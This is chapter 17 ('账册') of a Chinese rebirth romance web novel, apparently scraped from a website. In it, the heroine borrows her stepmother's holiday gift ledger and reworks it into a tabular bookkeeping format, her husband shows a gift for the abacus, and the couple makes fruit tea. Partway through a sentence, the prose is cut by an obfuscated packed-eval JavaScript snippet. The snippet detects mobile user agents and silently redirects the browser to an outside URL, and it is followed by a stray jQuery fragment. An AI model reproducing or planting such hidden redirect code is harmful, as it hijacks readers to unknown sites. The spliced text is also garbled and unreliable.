17. 账册

作品:《赘婿他好像看上我了(重生)

    沈濯还有些迷糊,似乎听见楚葳蕤说了句什么,过耳未入脑。


    五感回归,意识到楚葳蕤在自己怀里的一瞬间,沈濯抽回手翻身坐起来。


    楚葳蕤咬牙,她是什么洪水猛兽吗?


    “咳。醒了便起来,明日除夕,今天事不会少。”


    楚葳蕤试图掀开被子,干脆利落地下床闪人。


    可寒风钻进被窝,把楚葳蕤的豪迈彻底吹散了。


    沈濯背对楚葳蕤坐着,楚葳蕤未注意到他耳尖的红,对他说:“你让他们加点碳,我晚些再起。”


    “好。”


    沈濯像突然收到指令的机器人,闻言霎时动了起来,开始穿衣服,动作却有些僵硬。


    沈濯推开门,夏竹正站在门口冲手心哈气。


    “姑爷。”夏竹小声招呼,问:“小姐还没醒?”


    沈濯关上门,摇头:“她怕冷,先叫人加些碳,等暖和了再起。”


    夏竹恍然大悟,就要去找人……


    “等等。”


    沈濯嘱咐:“将热水、牙刷和早餐都拿进来,先吃点东西再穿戴。”


    夏竹压下一闪而过的惊讶,领命去了。


    殊不知这只是前世沈濯被那个楚葳蕤培训出来的基本操作,沈濯丝毫不觉得自己过于“周全”。


    卧室逐渐暖和起来,沈濯从春桃手里接过热帕子,递给楚葳蕤


    楚葳蕤只露了头,眼睛迷茫地看着几人。


    沈濯条件反射,差点要亲自给楚葳蕤擦脸。


    他忍了忍,错开目光,“你自己擦。”


    楚葳蕤坐起来,错愕地接过帕子擦脸,再对上春桃夏竹不明所以的目光。


    待楚葳蕤洗漱完,坐在塌上用完一碗酒酿圆子——她太饿了——楚葳蕤对沈濯说:“早上只是个意外,你别往心里去。也……也不必对我如此体贴。”


    真是太奇怪了!


    沈濯张了张嘴,想说他不是因为早上的事,一时间脸又红了。


    楚葳蕤转移话题,问他今天有什么打算。


    “爹让用了午膳去他那里,要算一算给掌柜伙计发的节钱。人情往来的单子在……”沈濯仍不习惯叫李氏“母亲”,他轻声道:“人情往来的单子在李氏那里,你若有心,不妨去熟悉熟悉。”


    “好。”


    “来,快坐下喝茶。”李氏招呼楚葳蕤。


    楚葳蕤的茶盏还没沾着唇,只听李氏说:“听人说你们巳时还未起,没有生病吧。”


    楚葳蕤有些尴尬,答:“母亲放心,我们都没生病。”


    “那就好。”李氏笑得意味深长,“新婚燕尔,感情好,晚些起也是正常的。”


    楚葳蕤低头喝茶,没搭话。


    在李氏看来就是默认,她攥紧裙摆——李炎州计谋失败,眼看着沈濯和楚葳蕤的感情越来越好,再等楚葳蕤展露出生意上的天赋,楚家的家产怕是跟她没什么瓜葛了。


    待茶色由深变浅,楚葳蕤快要告辞,她才提出想要年节人情往来的礼品单子。


    李氏放松的心骤然提起来,她捧着茶盏尬笑:“怎么突然想起来问这个?”


    “年后我就要去至味楼,想着提前接触账册也是好的。不如母亲现将这次送礼的单子和记账给我看看,若有不懂,我再向您请教?”


    “也好。”


    李氏跟于嬷嬷使了个颜色,不一会儿于嬷嬷捧着本薄薄的账册。


    于嬷嬷和李氏对视一眼,得到确认后将账册双手递给楚葳蕤。


    “小姐,这是今年从大年初一起到现在的送礼与收礼的账册。”


    楚葳蕤接过,账册封面写着“昭德十一年节礼”。


    “母亲办事真是细致,难怪父亲将家中庶务交给您后从不过问。”


    原本夸奖的话,李氏心里有鬼,听着不怎么得劲,尤其是“从不过问”四个字有些微妙。


    楚葳蕤恍若未觉,将账册交给夏竹收着,又问了除夕当天可要她和沈濯做些什么。


    得到否定的答案后,楚葳蕤告辞回了澄心堂。


    沈濯已经回来了,衣着单薄,在院子里打拳。


    沈濯思及上午的“失态”,认为是自己体力消耗太少造成的,回到澄心堂,换上轻便的衣服就开始锻炼。


    楚葳蕤回来时,沈濯已锻炼了半个时辰,额头上堪堪出了点细汗。


    楚葳蕤行至回廊,朗声招呼:“怎么回来这么早,爹爹嫌你太笨将你赶回来了?”


    若说这世上还有谁能够得到现在的沈濯完全的信任,那也只有楚怀济了。


    楚怀济爱屋及乌,真心想教女婿做生意。


    原本楚怀济打算手把手教沈濯打算盘,不料沈濯天纵奇才,一把算盘打得既快又准,不到半个时辰,不仅复核出两处计算错误,还指出他有一家店恐怕漏算了一名伙计。


    楚怀济:“你是如何看出来的?”


    沈濯翻到前几页,“刚才我无意中看到上个月的月钱,这家店有五个伙计。”


    节钱只算了四个人。


    楚怀济这才知晓沈濯竟然过目不忘。


    沈濯一记扫堂腿,带出“唰——”的一声,虽然身体被遮得严严实实,不难想象衣物下的肌肉如何有力。


    沈濯笑得有些嘚瑟,也不看楚葳蕤,“一会儿便算好了。爹要午睡,我就回来了。”


    楚葳蕤意外。


    她不再跟沈濯多聊,回房径直走到书桌前开始干活。


    “春桃,你先来抄五页,让我检验检验你的练字成果。”


    春桃苦着一张脸应下了。


    夏竹操心得很,赶忙去打了热水让几人先洗过手,这才在一旁研墨。


    账册摊在春桃和楚葳蕤之间,楚葳蕤盯着账册思索。


    “先等等。”


    墨还未磨开,春桃尚未动笔。


    楚葳蕤蹙眉,她没料到李氏是这么记账的——


    与其说这是账册,不如说更像一本记事本,其中的内容都是一段一段以文字形式列示的。


    「正月初二,收绣坊宁老板红珊瑚手串一对、玉如意一对,赠宁老板云锦两匹、君山银针两斤。」


    诸如此类。


    楚葳蕤往后翻了翻,发现所有账目都是如此顺下来的,直记到腊月。


    她嘟囔:“那便是还有一本库房的账?”


    春桃迷茫:“小姐,还抄吗?”


    楚葳蕤摇摇头,“家里有炭笔吗?”


    待屋外的沈濯见着春桃夏竹来来回回取了好几趟东西,他终于打完拳,饶有兴趣地凑到书桌前。


    沈濯一手拿着帕子擦额头的汗,楚葳蕤听见脚步声抬头,正瞧见他耳边落下一滴汗,划过脖颈,钻进衣襟。


    楚葳蕤抿唇,低头吩咐:“让秋实冬青弄些热水,你沐浴更衣了再过来。”


    沈濯挑眉,低头嗅了嗅自己身上,并无异味。


    难道她还在为早晨的事情生气?


    等沈濯换上竹月蓝的外衣再次来到书桌前,主仆三人抄账册的进度已


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16381248|183356||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    过了半。


    沈濯只能从被翻开的原账册看出她三人的进度——楚葳蕤面前堆着的是零散的纸张。


    散落的纸张有一个共同的特征:用炭笔花了两横三竖四条线。上边往下一寸和底部往上两寸的位置用炭笔画了两条与底部平行的横线,纸张正中画了三条线这样将一张纸分割为不均匀的六部分。


    最上面的部分写着姓名和此人的身份,最下面的部分暂时还空着;中间部分被分隔成竖着的四部分,依次记录了日期、礼品名称、收入或支出、数量。


    沈濯随手拿过一张纸,待看明白每页纸的逻辑,既惊讶又佩服。


    楚葳蕤是如何想出这等记账方式的?


    待沈濯沐浴完再进来,楚葳蕤才意识到时间已经过去很久了,她一口气竟抄了大半本账册。


    楚葳蕤放下笔,拍拍打哈欠的春桃,“剩下的你来抄,争取这几日还回去。”


    她甩甩手腕,“我去煮点果茶喝。”


    春桃眼睛亮起来:“好呀好呀。”


    楚葳蕤扯了下沈濯的袖子,示意他一起。


    澄心堂有个小厨房,几乎不做饭,日常用来烧水泡茶。


    楚葳蕤驾轻就熟地舀水添柴,挽起袖子从灶上挑了橙子苹果放进洗菜盆里。


    沈濯在一旁看呆了。


    楚葳蕤连开了几个罐子,总算找到冰糖。


    水还在烧,楚葳蕤问:“我以为你有话要跟我说?”


    “有吗?”沈濯第一次见到楚葳蕤这样的一面,还处于恍惚的状态。


    “你刚才看我的眼神过于震惊,我以为你想问我点什么?”


    “你……怎么想到那样记账的?可发现什么猫腻?还有,你怎么还会烧火?”


    楚葳蕤心里叹气,她早猜到沈濯会觉得奇怪。


    “你怎么这么快学会算账,我就为什么能想到这么记账咯。”


    楚葳蕤尽量装作轻松地说:“总结起来,就是我们都聪明极了,正适合做生意呢。”


    沈濯心里也有鬼,便任楚葳蕤敷衍过去。


    楚葳蕤倒了一半热水进洗菜盆,又添了些水进水壶。


    她撒了些盐到水果表皮上,揉搓后用温水把水果洗净,在菜板上把水果切成小块。


    水正好沸腾,楚葳蕤把水果块、冰糖和茶叶一起放进沸水里。


    对上沈濯的眼睛,楚葳蕤恍然,补充道:“我可不会烧火,把别人劈好的柴放进去,没什么好震惊的吧?”


    沈濯:你一个大小姐,切水果切得这么溜,真的是正常的吗?


    “我爱吃,自己也会做一些简单的吃食,所以才想着先接手至味楼。”楚葳蕤笑得得意,眨眼道:“你不会以为我是为了诓爹爹才这么说的吧?”


    “这倒没有。”


    沈濯丝毫不怀疑楚葳蕤好吃这件事,他已经见识过了。


    果茶咕嘟了一会儿,楚葳蕤拿过毛巾……


    “我来吧。”


    沈濯拿走毛巾,垫着把陶瓷水壶提起来,就着冷水洗了几个同款茶杯,两人拿着东西回了澄心堂。


    春桃放下账册,与夏秋冬一起围坐在桌前。


    楚葳蕤玩笑:“一壶果茶而已,你们这么郑重,不好喝我可要钻地缝了。”


    冬青道:“怎会不好喝?闻着香气,我都咽口水呢。”


    春桃已经在倒茶了。


    沈濯最先拿起茶杯,尝了一小口。


    楚葳蕤右手撑着头,侧脸笑着看他,问:“好喝吗?”